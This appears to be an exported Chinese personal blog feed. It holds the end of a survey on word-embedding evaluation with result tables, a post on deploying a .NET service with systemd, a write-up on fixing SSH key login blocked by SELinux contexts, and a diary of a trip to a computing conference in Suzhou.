<p>实验部分首先测试了高斯游走模型和线性断言的有效性,然后用词义归纳的方法将该模型与其他多义词相关的处理方法进行了对比。词义归纳任务用了三种方法,分别是SemEval 2010、word similarity in context (Huang et al., 2012)和他们新提出的police lineup测试。其中SemEval 2010是聚类任务,要求把每个多义词的不同含义的上下文分在不同的类别中;word similarity in context是评分任务,在介绍Global Context-Aware Neural Language Model时已经描述过了;police lineup是判别任务,它的数据集是由WordNet构建的,每个单词的每个词义都用8个相关的单词表示,测试时将多个词的数据混合起来,让模型判断哪组数据是对应当前单词的。</p>
<p>在三个词义归纳任务中,前两个任务都对比了该模型与(Huang et al., 2012)的模型,结果是在SemEval 2010任务中该模型更优秀,在word similarity in context任务中Global Context-Aware Neural Language Model更优秀。这可能是因为该模型将词嵌入分解为了较少的话语原语,话语原语在聚类时可以隐式地作为中心,从而有更好的聚类效果,而GCANLM在训练过程中重点提取了全局信息,因此在上下文丰富的环境中效果更好。第三个任务对比了人类的测试结果,结果显示该模型与非英语母语研究生的测试结果相近,但是英语母语的人在这项任务上做得更好。</p>
<h2 id="词嵌入模型的后处理">词嵌入模型的后处理</h2>
<p>Mu & Viswanath (2018) 发现,通过对常用词嵌入模型的输出进行简单的后处理可以使得结果在多项评价指标上都优于不处理的结果。</p>
<p>这项工作的出发点是,他们发现训练出来的词嵌入有两个特点:</p>
<ol type="1">
<li><p>词嵌入的均值非零;</p></li>
<li><p>删除均值向量后,词嵌入并不满足之前 (Arora et al., 2016) 的各项同性的假设。</p></li>
</ol>
<p>所以可以尝试将词嵌入进行一些平滑操作:</p>
<ol type="1">
<li><p>所有的词嵌入减去均值</p></li>
<li><p>将新的词嵌入排列在一起,计算PCA</p></li>
<li><p>每个词嵌入再减去D个主成分(乘一个系数)</p></li>
</ol>
<p>该论文的实验部分包含了四项评价,分别是Concept Categorization、Word Analogy、Semantic Textual Similarity和Supervised Classification。前两项属于内部评价,后两项属于外部评价。实验结果表示,这种简单的后处理方法对提升word2vec和GloVe模型的性能都有比较明显的效果。</p>
<p>作者认为,这种后处理方法之所以有效,是因为word2vec和GloVe都可以看成是基于PMI的模型,Arora et al. (2016) 在RAND-WALK模型中,用极大似然规则解释了这些PMI模型的原理,但是他的推导过程中假设词嵌入的均值为零且各向同性。理论上,我们期望神经网络能自动学习到合理的偏置和分布,但实际训练出的嵌入并不满足这两个假设。</p>
<p>在后处理时,各向量减去均值和主成分的过程就是人工将向量的均值归零,并削弱向量中最分散的维度,拉长向量中最集中在零值的维度。通过人工修正后的词嵌入具有更强的自归一化特性,更加各向同性,因此可以更符合预期的性质。</p>
<h2 id="词嵌入的性质和评价">词嵌入的性质和评价</h2>
<h3 id="评价指标和相关数据集">评价指标和相关数据集</h3>
<p>评价词嵌入有两种方法,一种是intrinsic(内部评价),另一种是extrinsic(外部评价)</p>
<p>Intrinsic Evaluation(内部评价)是在一个中间任务上评价词嵌入的好坏。该方法计算速度快,能帮助我们更好地理解系统。</p>
<p>Extrinsic Evaluation(外部评价)是在一个真正的NLP任务(如文本分类、机器翻译)中使用词嵌入,以此来评判词嵌入的好坏。但是计算extrinsic任务会消耗很长的时间。即使extrinsic任务出现了问题,我们也不清楚是词嵌入的问题还是其他子系统的问题。</p>
<p>内部评价主要是针对于词嵌入常见的性质进行测试,检查其在多大程度上满足这些性质。具体主要包括:</p>
<ul>
<li><p>Analogy: king-man+woman=queen</p>
<p>检查词嵌入的语义线性运算性质,可以采用3CosAdd或3CosMul的运算方法。</p>
<p>可用的数据集:MSR’s analogy dataset (Mikolov et al., 2013c)、Google’s analogy dataset (Mikolov et al., 2013a)</p></li>
<li><p>Word Similarity: 内积</p>
<p>检查词嵌入的内积大小是否反映了词义的相关性,可以计算内积或欧氏距离与人类评价的相关系数。</p>
<p>可用的数据集:WordSim353 (Finkelstein et al., 2001)、MEN dataset (Bruni et al., 2014)、SimLex-999 dataset (Hill et al., 2015)</p></li>
</ul>
<p>另外还有如series completion、classification等指标。</p>
<p>外部评价是对具体任务实现效果的评价,常用的指标包括:命名实体识别、词性标注、情感分类等。</p>
<p>更多评价指标和数据集可以在ACL的网站上找到 https://aclweb.org/aclwiki/State_of_the_art 。</p>
<h3 id="评价数据">评价数据</h3>
<p>很难给出一个结论,哪个词嵌入模型是最好的。例如,在目前已有的对比中,有些结论指出GloVe优于word2vec (Pennington et al., 2014),而有些结论则相反 (Levy et al., 2015)。</p>
<p>下表是总结了几项工作中的实验部分similarity评价的对比结果。其中绿色背景色表示在这项工作中有该模型的评价数据,表格中为正数的项表示在该列中相关系数最大(最优)的模型,值是它的相关系数减去次优模型的相关系数,为0的项表示在该列中相关系数第二大(次优)的模型。</p>
<table>
<thead>
<tr>
<th>
方法
</th>
<th>
Levy et al.,2015
</th>
<th>
Pennington et al.,2014
</th>
<th>
Stratos et al.,2015
</th>
</tr>
</thead>
<tbody style="text-align: center;">
<tr>
<td>
PPMI
</td>
<td style="background-color:#E2EFD9">
</td>
<td>
</td>
<td>
</td>
</tr>
<tr>
<td>
SVD
</td>
<td style="background-color:#E2EFD9">
0
</td>
<td style="background-color:#E2EFD9">
0
</td>
<td style="background-color:#E2EFD9">
</td>
</tr>
<tr>
<td>
SGNS
</td>
<td style="background-color:#E2EFD9">
0.03
</td>
<td style="background-color:#E2EFD9">
</td>
<td style="background-color:#E2EFD9">
0
</td>
</tr>
<tr>
<td>
CBOW
</td>
<td style="background-color:#E2EFD9">
</td>
<td style="background-color:#E2EFD9">
</td>
<td style="background-color:#E2EFD9">
</td>
</tr>
<tr>
<td>
GloVe
</td>
<td style="background-color:#E2EFD9">
</td>
<td style="background-color:#E2EFD9">
0.02
</td>
<td style="background-color:#E2EFD9">
</td>
</tr>
<tr>
<td>
CCA
</td>
<td>
</td>
<td>
</td>
<td style="background-color:#E2EFD9">
0.01
</td>
</tr>
</tbody>
</table>
<p>下表是几项工作中的analogy评价。数据表示与上表是相同的,指标是准确率。</p>
<table>
<thead>
<tr>
<th>
方法
</th>
<th>
Levy et al.,2015
</th>
<th>
Pennington et al.,2014
</th>
<th>
Stratos et al.,2015
</th>
</tr>
</thead>
<tbody style="text-align: center;">
<tr>
<td>
PPMI
</td>
<td style="background-color:#E2EFD9">
</td>
<td>
</td>
<td>
</td>
</tr>
<tr>
<td>
SVD
</td>
<td style="background-color:#E2EFD9">
</td>
<td style="background-color:#E2EFD9">
</td>
<td style="background-color:#E2EFD9">
</td>
</tr>
<tr>
<td>
SGNS
</td>
<td style="background-color:#E2EFD9">
0.01
</td>
<td style="background-color:#E2EFD9">
0
</td>
<td style="background-color:#E2EFD9">
0.05
</td>
</tr>
<tr>
<td>
CBOW
</td>
<td style="background-color:#E2EFD9">
</td>
<td style="background-color:#E2EFD9">
</td>
<td style="background-color:#E2EFD9">
</td>
</tr>
<tr>
<td>
GloVe
</td>
<td style="background-color:#E2EFD9">
0
</td>
<td style="background-color:#E2EFD9">
0.1
</td>
<td style="background-color:#E2EFD9">
0
</td>
</tr>
<tr>
<td>
CCA
</td>
<td>
</td>
<td>
</td>
<td style="background-color:#E2EFD9">
</td>
</tr>
</tbody>
</table>
<p>具体实验条件:</p>
<ul>
<li><p>Levy et al., 2015: 训练数据集大小1.5B,500维词嵌入,similarity测试数据集WordSim353、MEN、SimLex等,analogy测试数据集Google’s analogy dataset(多个测试数据集结果有差异,但综合来看是SGNS最好,SVD次之)。</p></li>
<li><p>Pennington et al., 2014: 训练数据集大小有6B和42B,100维、300维和1000维词嵌入,similarity测试数据集WordSim353等,analogy测试数据集MSR’s analogy dataset、Google’s analogy dataset(多个测试数据集结果相似)。</p></li>
<li><p>Stratos et al., 2015: 训练数据集大小1.4B,500维和1000维词嵌入,similarity测试数据集WordSim353、MEN、Stanford Rare Word的平均,analogy测试数据集MSR’s analogy dataset、Google’s analogy dataset(多个测试数据集结果相似)。</p></li>
</ul>
<p>从指标的角度来看,各个模型在similarity任务上都有所长,但除了SGNS以外,主要还是基于矩阵分解的方法(SVD、GloVe、CCA)在similarity任务上表现较好。这是因为共现矩阵直接反映了词与词之间的相似性,在分解降维之前,统计数据里相似的词在相同的维度上就具有相关性,矩阵分解算法可以直观获得这一信息,特别是CCA模型在确定参数时使用了Brown聚类,词义相似的词分在同一块中,更加强了相似性信息;而基于语言模型的算法依赖多组数据输入,这样实际上不能直接得到词语间相似词义的信息,而要根据多个相似的上下文,经过多次相似的梯度下降迭代,间接实现相似词表示的训练。在analogy任务上,表现最好的是SGNS和GloVe,关于这一点,有一些工作尝试给出解释 (Arora et al., 2016),基本思路是共现概率的比值表达了词义的线性关系,而GloVe本身就是基于共现概率的比值推导出的模型,SGNS已被证明是PMI(log共现概率)矩阵的近似分解,所以它的词嵌入的减法也可以看成共现概率的除法,这两者都与共现概率的比值有较大的相关性;其他的模型(如SVD、CCA)则没有针对共现概率比值的处理。</p>
<p>从实验的角度来看,这三个实验的评价结果有一些差异,我个人认为应该主要参考第一列的工作(Levy et al., 2015),因为这篇论文的主要内容就是对比模型,对参数的理解和测试更深入。</p>
<p>为了便于今后开展相关工作,这里引用一个2019年的词嵌入模型的外部评价结果(Wang et al., 2019)。其中命名实体识别(NER)和情感分析(SA)的结果可能对专业语料的分类任务有帮助。</p>
<table style="text-align:center;">
<thead>
<tr>
<th>
</th>
<th rowspan="2">
POS
</th>
<th rowspan="2">
Chunking
</th>
<th rowspan="2">
NER
</th>
<th colspan="2" style="border-bottom:1px black solid;">
SA(IMDb)
</th>
<th colspan="2" style="border-bottom:1px black solid;">
SA(SST)
</th>
<th>
NMT
</th>
</tr>
<tr>
<th>
</th>
<th>
Bi-LSTM
</th>
<th>
CNN
</th>
<th>
Bi-LSTM
</th>
<th>
CNN
</th>
<th>
Perplexity
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
SGNS
</td>
<td style="font-weight:bold">
94.54
</td>
<td>
88.21
</td>
<td>
87.12
</td>
<td>
85.36
</td>
<td>
88.78
</td>
<td>
64.08
</td>
<td style="font-weight:bold">
66.93
</td>
<td>
79.14
</td>
</tr>
<tr>
<td>
CBOW
</td>
<td>
93.79
</td>
<td>
84.91
</td>
<td>
83.83
</td>
<td style="font-weight:bold">
86.93
</td>
<td>
85.88
</td>
<td>
65.63
</td>
<td>
65.06
</td>
<td>
102.33
</td>
</tr>
<tr>
<td>
GloVe
</td>
<td>
93.32
</td>
<td>
84.11
</td>
<td>
85.3
</td>
<td>
70.41
</td>
<td>
87.56
</td>
<td>
65.16
</td>
<td>
65.15
</td>
<td>
84.20
</td>
</tr>
<tr>
<td>
FastText
</td>
<td>
94.36
</td>
<td>
87.96
</td>
<td>
87.10
</td>
<td>
73.97
</td>
<td>
83.69
</td>
<td>
50.01
</td>
<td>
63.25
</td>
<td>
82.60
</td>
</tr>
<tr>
<td>
ngram2vec
</td>
<td>
94.11
</td>
<td style="font-weight:bold">
88.74
</td>
<td style="font-weight:bold">
87.33
</td>
<td>
79.32
</td>
<td style="font-weight:bold">
89.29
</td>
<td style="font-weight:bold">
66.27
</td>
<td>
66.45
</td>
<td style="font-weight:bold">
77.79
</td>
</tr>
<tr>
<td>
Dict2vec
</td>
<td>
93.61
</td>
<td>
86.54
</td>
<td>
86.82
</td>
<td>
62.71
</td>
<td>
88.94
</td>
<td>
62.75
</td>
<td>
66.09
</td>
<td>
78.84
</td>
</tr>
</tbody>
</table>
<p>总体上看,SGNS和ngram2vec(一种n-gram to n-gram的预测模型)在各项任务上表现较好(分类器使用CNN)。不过这个对比中基于共现矩阵分解的方法只有GloVe,没有体现出两类方法的性能差异。</p>
<p>下面再引用(Stratos et al., 2015)关于NER任务的对比,这个实验比较充分地展示了矩阵分解和神经网络模型在外部评价指标上的差异,实验中GloVe、CBOW和skip-gram都采用了推荐的默认配置,窗口大小是左右各2。</p>
<table style="text-align:center;">
<thead>
<tr>
<th>
Features
</th>
<th colspan="2">
30 dimensions
</th>
<th colspan="2">
50 dimensions
</th>
</tr>
<tr>
<th>
</th>
<th>
Dev
</th>
<th>
Test
</th>
<th>
Dev
</th>
<th>
Test
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
—
</td>
<td>
90.04
</td>
<td>
84.40
</td>
<td>
90.04
</td>
<td>
84.40
</td>
</tr>
<tr>
<td>
BROWN
</td>
<td>
92.49
</td>
<td>
88.75
</td>
<td>
92.49
</td>
<td>
88.75
</td>
</tr>
<tr style="border-top:1px black solid;">
<td>
LOG
</td>
<td>
92.27
</td>
<td>
88.87
</td>
<td>
92.91
</td>
<td style="font-weight:bold">
89.67
</td>
</tr>
<tr>
<td>
REG
</td>
<td>
92.51
</td>
<td>
88.08
</td>
<td>
92.73
</td>
<td>
88.88
</td>
</tr>
<tr>
<td>
PPMI
</td>
<td>
92.25
</td>
<td>
89.27
</td>
<td>
92.53
</td>
<td>
89.37
</td>
</tr>
<tr>
<td>
CCA
</td>
<td style="font-weight:bold">
92.88
</td>
<td style="font-weight:bold">
89.28
</td>
<td>
92.94
</td>
<td>
89.01
</td>
</tr>
<tr style="border-top:1px black solid;">
<td>
GLOVE
</td>
<td>
91.49
</td>
<td>
87.16
</td>
<td>
91.58
</td>
<td>
86.80
</td>
</tr>
<tr>
<td>
CBOW
</td>
<td>
92.44
</td>
<td>
88.34
</td>
<td>
92.83
</td>
<td>
89.21
</td>
</tr>
<tr>
<td>
SKIP
</td>
<td>
92.63
</td>
<td>
88.78
</td>
<td style="font-weight:bold">
93.11
</td>
<td>
89.32
</td>
</tr>
</tbody>
</table>
<p>这个结果实际上也体现出矩阵分解和神经网络两类方法的实际表现差别不大,其中CCA和skip-gram的F1得分略高一些,这可能得益于CCA和skip-gram可以较好地捕获词义(参考内部评价)。</p>
<p>Levy et al. (2015) 给出了他们对于词嵌入模型性能评价的态度,即词嵌入的性能提高很大程度上是由于特定系统设计选择和超参数优化,而不是词嵌入算法本身,并给出了一些超参数调整的建议:</p>
<ul>
<li><p>始终使用上下文分布平滑(cds = 0.75)调整PMI,并且适用于PPMI、SVD和SGNS。</p></li>
<li><p>请勿“正确”使用SVD(eig = 1),而是使用对称变体之一。</p></li>
<li><p>SGNS是可靠的基准。尽管它可能不是每一项任务的最佳方法,但在任何情况下都不会明显地表现不佳。此外,SGNS是最快的训练方法,也是磁盘空间和内存消耗最佳的算法。</p></li>
<li><p>使用SGNS时,应该用较多的负样例。</p></li>
<li><p>对于SGNS和GloVe而言,值得尝试使用w+c的形式作为结果,这种尝试很容易(不需要重新训练),并且可以获得较多的收益(或较多的损失)。</p></li>
</ul>
<h2 id="参考文献">参考文献</h2>
<p>Sanjeev Arora, Yuanzhi Li, Yingyu Liang, Tengyu Ma, and Andrej Risteski. 2016. A latent variable model approach to pmi-based word embeddings. <em>Transactions of the Association for Computational Linguistics</em>, 4:385--399.</p>
<p>Sanjeev Arora, Yuanzhi Li, Yingyu Liang, Tengyu Ma, and Andrej Risteski. 2018. Linear algebraic structure of word senses, with applications to polysemy. <em>Transactions of the Association for Computational Linguistics</em>, 6:483--495.</p>
<p>Yoshua Bengio, Rejean Ducharme, Pascal Vincent, and Christian Jauvin. 2003. A neural probabilistic language model. <em>Journal of machine learning research</em>, 3(Feb):1137--1155.</p>
<p>Piotr Bojanowski, Edouard Grave, Armand Joulin, and Tomas Mikolov. 2017. Enriching word vectors with subword information. <em>Transactions of the Association for Computational Linguistics</em>, 5:135--146.</p>
<p>Elia Bruni, Nam-Khanh Tran, and Marco Baroni. 2014. Multimodal distributional semantics. <em>Journal of Artifificial Intelligence Research</em>, 49:1--47.</p>
<p>Xinxiong Chen, Lei Xu, Zhiyuan Liu, Maosong Sun, and Huanbo Luan. 2015. Joint learning of character and word embeddings. In <em>Twenty-Fourth International Joint Conference on Artifificial Intelligence</em>.</p>
<p>Ronan Collobert and Jason Weston. 2008. A unifified architecture for natural language processing: Deep neural networks with multitask learning. In <em>Proceedings of the 25th international conference on Machine learning</em>, pages 160--167.</p>
<p>Lev Finkelstein, Evgeniy Gabrilovich, Yossi Matias, Ehud Rivlin, Zach Solan, Gadi Wolfman, and Eytan Ruppin. 2001. Placing search in context: The concept revisited. In <em>Proceedings of the 10th international conference on World Wide Web</em>, pages 406--414.</p>
<p>John R Firth. 1957. A synopsis of linguistic theory, 1930-1955. <em>Studies in linguistic analysis</em>.</p>
<p>Yoav Goldberg and Omer Levy. 2014. word2vec explained: deriving mikolov et al.'s negative sampling word-embedding method. <em>arXiv preprint arXiv:1402.3722</em>.</p>
<p>Zellig S Harris. 1954. Distributional structure. <em>Word</em>, 10(2-3):146--162.</p>
<p>Tatsunori B Hashimoto, David Alvarez-Melis, and Tommi S Jaakkola. 2016. Word embeddings as metric recovery in semantic spaces. <em>Transactions of the Association for Computational Linguistics</em>, 4:273--286.</p>
<p>Felix Hill, Roi Reichart, and Anna Korhonen. 2015. Simlex-999: Evaluating semantic models with (genuine) similarity estimation. <em>Computational Linguistics</em>, 41(4):665--695.</p>
<p>Patrik O Hoyer. 2002. Non-negative sparse coding. In <em>Proceedings of the 12th IEEE Workshop on Neural Networks for Signal Processing</em>, pages 557--565. IEEE.</p>
<p>Eric H Huang, Richard Socher, Christopher D Manning, and Andrew Y Ng. 2012. Improving word representations via global context and multiple word prototypes. In <em>Proceedings of the 50th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers)</em>, pages 873--882.</p>
<p>David A Huffman. 1952. A method for the construction of minimum-redundancy codes. <em>Proceedings of the IRE</em>, 40(9):1098--1101.</p>
<p>Yoon Kim, Yacine Jernite, David Sontag, and Alexander M Rush. 2015. Character-aware neural language models. <em>arXiv preprint arXiv:1508.06615</em>.</p>
<p>Omer Levy and Yoav Goldberg. 2014. Neural word embedding as implicit matrix factorization. In <em>Advances in neural information processing systems</em>, pages 2177--2185.</p>
<p>Omer Levy, Yoav Goldberg, and Ido Dagan. 2015. Improving distributional similarity with lessons learned from word embeddings. <em>Transactions of the Association for Computational Linguistics</em>, 3:211--225.</p>
<p>Julien Mairal, Francis Bach, Jean Ponce, and Guillermo Sapiro. 2010. Online learning for matrix factorization and sparse coding. <em>Journal of Machine Learning Research</em>, 11(1).</p>
<p>Tomas Mikolov, Kai Chen, Greg Corrado, and Jeffrey Dean. 2013a. Effificient estimation of word representations in vector space. <em>arXiv preprint arXiv:1301.3781</em>.</p>
<p>Tomas Mikolov, Ilya Sutskever, Kai Chen, Greg S Corrado, and Jeff Dean. 2013b. Distributed representations of words and phrases and their compositionality. <em>Advances in neural information processing systems</em>, 26:3111--3119.</p>
<p>Tomas Mikolov, Wen-tau Yih, and Geoffrey Zweig. 2013c. Linguistic regularities in continuous space word representations. In <em>Proceedings of the 2013 conference of the north american chapter of the association for computational linguistics: Human language technologies</em>, pages 746--751.</p>
<p>Andriy Mnih and Geoffrey E Hinton. 2008. A scalable hierarchical distributed language model. <em>Advances in neural information processing systems</em>, 21:1081--1088.</p>
<p>Andriy Mnih and Koray Kavukcuoglu. 2013. Learning word embeddings effificiently with noise-contrastive estimation. In <em>Advances in neural information processing systems</em>, pages 2265--2273.</p>
<p>Frederic Morin and Yoshua Bengio. 2005. Hierarchical probabilistic neural network language model. In <em>Aistats</em>, volume 5, pages 246--252. Citeseer.</p>
<p>Jiaqi Mu and Pramod Viswanath. 2018. All-but-the-top: Simple and effective post-processing for word representations. In <em>6th International Conference on Learning Representations, ICLR 2018</em>.</p>
<p>Brian Murphy, Partha Talukdar, and Tom Mitchell. 2012. Learning effective and interpretable semantic models using non-negative sparse embedding. In <em>Proceedings of COLING 2012</em>, pages 1933--1950.</p>
<p>Jeffrey Pennington, Richard Socher, and Christopher D Manning. 2014. Glove: Global vectors for word representation. In <em>Proceedings of the 2014 conference on empirical methods in natural language processing (EMNLP)</em>, pages 1532--1543.</p>
<p>Joseph Reisinger and Raymond Mooney. 2010. Multiprototype vector-space models of word meaning. In <em>Human Language Technologies: The 2010 Annual Conference of the North American Chapter of the Association for Computational Linguistics</em>, pages 109--117.</p>
<p>Karl Stratos, Michael Collins, and Daniel Hsu. 2015. Model-based word embeddings from decompositions of count matrices. In <em>Proceedings of the 53rd Annual Meeting of the Association for Computational Linguistics and the 7th International Joint Conference on Natural Language Processing (Volume 1: Long Papers)</em>, pages 1282--1291.</p>
<p>Peter D Turney and Patrick Pantel. 2010. From frequency to meaning: Vector space models of semantics. <em>Journal of artifificial intelligence research</em>, 37:141--188.</p>
<p>Bin Wang, Angela Wang, Fenxiao Chen, Yuncheng Wang, and C-C Jay Kuo. 2019. Evaluating word embedding models: Methods and experimental results. <em>APSIPA transactions on signal and information processing</em>, 8.</p>
<p>Michael Zhai, Johnny Tan, and Jinho D Choi. 2016. Intrinsic and extrinsic evaluations of word embeddings. In <em>AAAI</em>, pages 4282--4283.</p>
cba4bc34-ce64-5661-9008-96b5f95f30a7使用systemd部署.NET源码2021-05-11T00:30:00+08:00<p>好久没有写东西了。</p>
<p>这篇文章主要是记录一下如何手动配置systemd服务,尤其是用.NET开发的长期运行的网络服务,并且无需手动编译部署包。</p>
<p>开发.NET服务最优雅的方式莫过于使用Visual Studio写C#,在Windows上无论是编写还是调试都很方便。不过写好之后如何将它部署到服务器上呢?</p>
<p><a href="https://docs.microsoft.com/zh-cn/dotnet/core/deploying/">.NET提供了一些生成部署包的方法,包括生成跨平台二进制文件、依赖框架的可执行文件和独立可执行文件的方法。</a>不过经过我一段时间的测试,发现这些方法还是有些麻烦的,每次更新后都需要手动发布然后上传部署包。而最优雅的方法应当是直接同步代码,然后服务器用SDK直接运行代码。</p>
<p>这里贴上我在服务器上部署的一个.NET服务的配置文件和命令,作为参考。</p>
<p>新建<code>/etc/systemd/system/webmonitor.service</code>配置:</p>
<pre class="ini"><code>[Unit]
Description=Yuki Web Monitor
After=network.target # 该服务依赖网络服务,在启动网络服务后再启动该服务
[Service]
Type=simple
User=lighthouse # 执行程序的user和group
Group=lighthouse
WorkingDirectory=/home/lighthouse/WebMonitor/WebMonitor # 设置CWD,注意应指向项目(Project)目录而不是解决方案(Solution)目录
ExecStart=/usr/bin/dotnet run # 如果需要其他参数写在后面即可
Restart=on-failure # 异常自动重启
[Install]
WantedBy=multi-user.target # 允许开机自动启动</code></pre>
<p>添加该配置文件后,执行:</p>
<pre><code>sudo systemctl enable webmonitor.service # 开机启动
sudo systemctl disable webmonitor.service # 禁用开机启动
sudo systemctl restart webmonitor.service # 启动、重启动该服务
sudo systemctl stop webmonitor.service # 停止该服务</code></pre>
06b3119f-c6e2-59fd-a957-898a8d40c5e7记一次SSH公钥配置无效的问题——与SELinux的初次交锋2020-05-05T14:42:04+08:00<h2 id="先说最终解决方法">先说最终解决方法</h2>
<p>执行命令</p>
<pre><code>chcon -Rv -t ssh_home_t ~/.ssh</code></pre>
<p>即可。</p>
<h2 id="问题背景">问题背景</h2>
<p>由于实验需求,管理员分配给了我一台远程主机,并配置了新的用户和密码,ssh用密码登录没有问题,但是我尝试配置公钥登录时,添加了<code>~/.ssh/authorized_keys</code>的内容,却无论如何也不生效。</p>
<!-- more -->
<h2 id="排查过程">排查过程</h2>
<h3 id="section">1</h3>
<p>检查相关文件的权限</p>
<pre><code>$ ls -al ~/.ssh/
drwx------. 2 yuki users 4096 May 3 12:37 .
drwx------. 26 yuki users 4096 Apr 26 07:07 ..
-rw-------. 1 yuki users 112 May 3 12:38 authorized_keys</code></pre>
<p>确定没有too open的问题。</p>
<h3 id="section-1">2</h3>
<p>使用<code>ssh -vvv</code>模式查看登录过程的debug,发现有对应私钥的验证过程,只是验证失败,说明本地SSH客户端配置无误。</p>
<h3 id="section-2">3</h3>
<p>远程主机执行<code>sudo /usr/sbin/sshd -d -p 22222</code>开启一个调试的SSH服务,发现可以通过22222端口正常使用公钥登录,说明SSH服务配置也无误。</p>
<h3 id="section-3">4</h3>
<p>修改远程<code>/etc/ssh/sshd_config</code>文件,添加一行</p>
<pre><code>LogLevel Debug</code></pre>
<p>然后执行<code>sudo systemctl restart sshd.service</code>重启SSH服务,再次登录后,执行<code>journalctl -u sshd.service</code>查看SSH服务输出,发现有如下记录:</p>
<pre><code>debug1: Could not open authorized keys '/work0/yuki/.ssh/authorized_keys': Permission denied</code></pre>
<p>基本确定是权限相关的问题。</p>
<h3 id="section-4">5</h3>
<p>检查sshd进程的权限</p>
<pre><code>$ ps -ef | grep sshd
root 174675 1 0 May03 ? 00:00:00 /usr/sbin/sshd -D</code></pre>
<p>确定是root身份。</p>
<h3 id="section-5">6</h3>
<p>注意到用户目录是在<code>/work0/</code>这种奇怪的路径下,可能是管理员怕磁盘空间不够,用奇怪的方式挂载了该目录,导致这一问题。经过一段时间查询,发现SELinux可能会使root被Permission denied。</p>
<p>通过如下命令确定问题</p>
<pre><code>$ ls -alZ
drwx------. yuki users system_u:object_r:default_t:s0 .ssh</code></pre>
<p>其中<code>ls -Z</code>是显示文件的<a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/selinux_users_and_administrators_guide/sect-security-enhanced_linux-working_with_selinux-selinux_contexts_labeling_files">安全上下文</a>。注意到其中的<code>default_t</code>,这是普通文件的默认安全上下文,但不应用于<code>.ssh</code>目录。</p>
<h3 id="section-6">7</h3>
<p>尝试执行</p>
<pre><code>$ restorecon -FRvv ~/.ssh</code></pre>
<p>发现没有自动修改为正确的类型,于是执行</p>
<pre><code>$ chcon -Rv -t ssh_home_t ~/.ssh
changing security context of ‘/work0/suzhihua/.ssh/authorized_keys’
changing security context of ‘/work0/suzhihua/.ssh’</code></pre>
<p>手动修改为<code>ssh_home_t</code>。</p>
<h3 id="section-7">8</h3>
<p>再次登录,成功使用公钥,问题解决。</p>
973787af-e188-5e6b-911c-06eaeadb6df4苏州之行2019-10-26T00:00:48+08:00<p>前几天去了苏州,主要是参加CCF CCSP和CNCC,感觉出去一趟不容易,还是应该记录一下。</p>
<!-- more -->
<div style="text-align: center;">
<p><img src="/article-assets/苏州之行/CNCC胸牌.jpg" alt="CNCC胸牌"> <img src="/article-assets/苏州之行/CCSP胸牌.jpg" alt="CCSP胸牌"></p>
</div>
<h2 id="月15日">10月15日</h2>
<p>本来说好是大家一起订票的,但是后来没协调好,除了我和另一个同学以外,其他的同学都买了一个车次的高铁,而我要买的时候这趟车已经没票了,所以和这个同学买了另一趟高铁,比他们晚一个小时。</p>
<p>去高铁站的时候我们打车到了地铁站,然后坐地铁到了高铁站,还是挺快的,在高铁站又等了一个小时左右。坐高铁的时候,我和那个同学坐在一起,我也带了耳机分线器,所以顺便一起看了动漫。到了苏州之后,因为地铁可以直达我们的酒店,所以就直接又坐地铁了。</p>
<p>因为坐的车次不同,所以之后的安排上也有了一点冲突。首先是老师想在晚上九点开个会,但是我们八点半才能到苏州,再到酒店还要一个小时,所以来不及。第二是到酒店之后房卡问题又要打电话和他们沟通。第三是先到的同学去吃火锅了,而我们比较晚,所以点了高铁外卖,但是后来出于社交原因还是在十点多去了趟火锅店,当时他们已经吃完了。</p>
<p>有点巧的是,当天我坐在苏州的地铁上,我的老师给我发来消息,让我做一道算法题。题目不是很难,但是还是要花点时间写一下。我在去过火锅店之后已经十一点多了,回到酒店后开始写题,搞得挺晚的。然后洗漱,收拾东西,准备第二天的CCSP比赛。</p>
<h2 id="月16日">10月16日</h2>
<p>凌晨2:00我终于可以睡觉了。当天的安排是,6:40起床,7:30到苏州市职业大学,8:30-21:30比赛。</p>
<p>说实话,因为睡眠不足,比赛的时候我已经完全没有精力写题了,而且还是12个小时的拉锯战,心态直接爆炸,五道题目基本都是随便水水,当然更多的还是因为自己菜。</p>
<p>虽然这里应该说说比赛时开题的情况,但是我想了想实在没什么好说的,整场比赛我就没进行过多少有效的思考。反正题目都会挂在CCF的网站上,我就不多说了。</p>
<p>最后排名好像是200+/400+,总之就是铜奖。</p>
<p>因为CCF要求每个获得优秀大学生奖的同学统一组织参加CNCC,而CCSP和CNCC不在一个地点,并且我们明天CNCC又要很早集合,所以我晚上就收拾好东西去了CCF预定的另一个酒店。打车过去40分钟左右,然后见到了和我住在一起的同学。洗漱之后又是很晚才睡,而且被蚊子骚扰,大概到凌晨两点多才睡着。</p>
<h2 id="月17日">10月17日</h2>
<p>今天早上6:30起床,然后集合去苏州金鸡湖国际会议中心。</p>
<figure>
<img src="/article-assets/苏州之行/IMG_20191017_080014.jpg" alt="会场照片">
<figcaption aria-hidden="true">会场照片</figcaption>
</figure>
<p>这几天的日程见<a href="https://cncc.ccf.org.cn/cms/resource/100004/images/2019hzhb/hzhb/2019100q.png">官网图片</a>,图片比较长,这里就不贴了。</p>
<p>17日上午我们参加了CNCC开幕式,还有几个特邀报告。这次会议的主题是AI相关的,所以报告的内容也大多都和AI有关。</p>
<p>下午我去了CCSP的颁奖会。这个颁奖会还是有点花里胡哨的,应该说不愧是苏州市职业大学,在我们讲题和颁奖中间穿插了两次文艺表演。</p>
<figure>
<img src="/article-assets/苏州之行/IMG_20191017_160208.jpg" alt="CCSP颁奖会上的表演">
<figcaption aria-hidden="true">CCSP颁奖会上的表演</figcaption>
</figure>
<p>清华大学徐明宽是冠军,也是去年的冠军。这是真的大佬。</p>
<figure>
<img src="https://www.ccf.org.cn/upload/resources/image/2019/10/22/104468.jpg" alt="郑纬民(左二)、高文(右一)、李天驰(左一)为蝉联冠军、清华大学徐明宽颁奖">
<figcaption aria-hidden="true">郑纬民(左二)、高文(右一)、李天驰(左一)为蝉联冠军、清华大学徐明宽颁奖</figcaption>
</figure>
<p>晚上是CCF优秀大学生颁奖会,是一共70+人,是一个一个颁奖的,来了很多国外的嘉宾。不知道是不是油墨的问题,我的证书拿在手上一蹭就花了,过了几天又试了一下还是这样。</p>
<figure>
<img src="/article-assets/苏州之行/证书.jpg" alt="CCF优秀大学生奖证书">
<figcaption aria-hidden="true">CCF优秀大学生奖证书</figcaption>
</figure>
